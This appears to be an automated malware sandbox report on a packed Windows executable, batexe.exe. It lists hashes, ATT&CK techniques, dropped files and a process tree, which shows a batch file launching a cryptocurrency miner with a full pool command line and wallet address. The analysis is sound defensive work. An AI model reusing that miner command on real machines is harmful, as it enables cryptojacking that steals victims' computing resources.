73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
295s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 15:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2372	b2e.exe
4920	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3804-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3804 wrote to memory of 2372	3804	batexe.exe	85
PID 3804 wrote to memory of 2372	3804	batexe.exe	85
PID 3804 wrote to memory of 2372	3804	batexe.exe	85
PID 2372 wrote to memory of 4760	2372	b2e.exe	86
PID 2372 wrote to memory of 4760	2372	b2e.exe	86
PID 2372 wrote to memory of 4760	2372	b2e.exe	86
PID 4760 wrote to memory of 4920	4760	cmd.exe	89
PID 4760 wrote to memory of 4920	4760	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Users\Admin\AppData\Local\Temp\6987.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6987.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6987.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6D02.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6987.tmp\b2e.exe

Filesize
6.8MB

MD5
46c360bfd5427647beb7d238dec877b9

SHA1
52dfcc85c3a4da8a78098e10b9f46f3b874c96c1

SHA256
e6b232a699adcf9dcfd92d7147e39291aca67c2876b62ee235637d2a11b26d07

SHA512
93d72c4ca49cd49715ceff6d5ce53ebdd3ac7b9d354effe68f262be8a3ceeb6ddd8519bd37d578d9c99d2644ed2bd3b099c0560627b2a3db6ad4e1f9e06698cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\6987.tmp\b2e.exe

Filesize
5.8MB

MD5
d12c661fef6413844f24fd4bb1c86169

SHA1
f027fc9bf6aead92d8135baa4b26634776dc1e49

SHA256
33910f1553b1d68b694b65c3c0862e203ee49efc05d76469737767d2bafaf0ed

SHA512
754a10fcc2630da9a4d52f85c4eb6b6979bdd2ec0dad0ce6cbf4c47db395e3fc72a06998bfdcd257a439517287eae2c19e3df37d76e0de542cf412dca883551b

Download Submit
C:\Users\Admin\AppData\Local\Temp\6987.tmp\b2e.exe

Filesize
4.7MB

MD5
79b9e958563b61bddbfc08ab7ff559af

SHA1
a524c9baa5d5b7d5d7d559806d9b141b4c5aa718

SHA256
887936598cd79940f5a3fa369fdab746b5630e2d08ac9639cdd7e71cc9d9d9a8

SHA512
5bb2bc98f56938fd613febd3ce8949250948ccf07652390fc326755ed59b068043678d345a1bca1d3f3243cf45818e072f5dff9f8b06008bf60e60aad9bee045

Download Submit
C:\Users\Admin\AppData\Local\Temp\6D02.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
bda8488fbfc9c3429a40d2d8c9aba963

SHA1
87184812cd80c0889b721ec2daf602ff7cb76443

SHA256
a5a95d0cab2e9c0d33e775e634db2f9a011232b69c331a5226bbdad5158a7d80

SHA512
a80acc6aa7cfebfc845cb2d9f78d1ab452f6b25c990ca275bac358293dd24d7719f82fc55d994a443fc732e7e8456f980b2cc8876555980174b0cce4749d79f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
8ee8d71a61690a738d827e81c8c35658

SHA1
f02fb43d9d047595711d4807404bbfad0f6d3cc0

SHA256
6039fe0c5e144ab5d0f5ef815ce496d2b1e895bb88b718ce2506e5a2ef3b9882

SHA512
d6e3b74650cd9b3c654f23bef365a8c263cfd3764978f2414d332221bd420f0d700fbd1681012852230970f46f77b0ae1c9b4fa3cc4620d2099fa527a4ab490e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
ca222c681a50d9e1c9f1f40c190d5323

SHA1
adf1b516220634e798f912aead447d6e0d524e1f

SHA256
11fe2eac11f0f9f7b648b596d5064212037208d00fd781cbc4977bf4f6d456f2

SHA512
8866c1a78f62f7ca0868ccd96cca9d597cd1d82b9551713055de464199878915787566ea93c2bb248471beceb0a172e7b14224bf4472f2020234ebac31ff1cf1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
53a65a66153651e339e7374c33f1d26b

SHA1
fc85bbc406109b3a50535f8e3361947843856279

SHA256
f3a6f8a86d81e7024d98a36c1492e9125f0a51294da947fa34d75f97972a82ea

SHA512
f5ce124006cc2fb2158952d6e76198281239407dc723bf9ef3856825e606faf13f9a4b12ae419d604b2e8748eaa46f1afd64c67304e48d84e2e960e61f108bb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2372-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2372-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3804-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4920-49-0x0000000001000000-0x0000000001098000-memory.dmp

Filesize
608KB

Download
memory/4920-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4920-47-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/4920-48-0x0000000000F40000-0x0000000000FFC000-memory.dmp

Filesize
752KB

Download
memory/4920-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-41-0x0000000000F40000-0x0000000000FFC000-memory.dmp

Filesize
752KB

Download
memory/4920-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download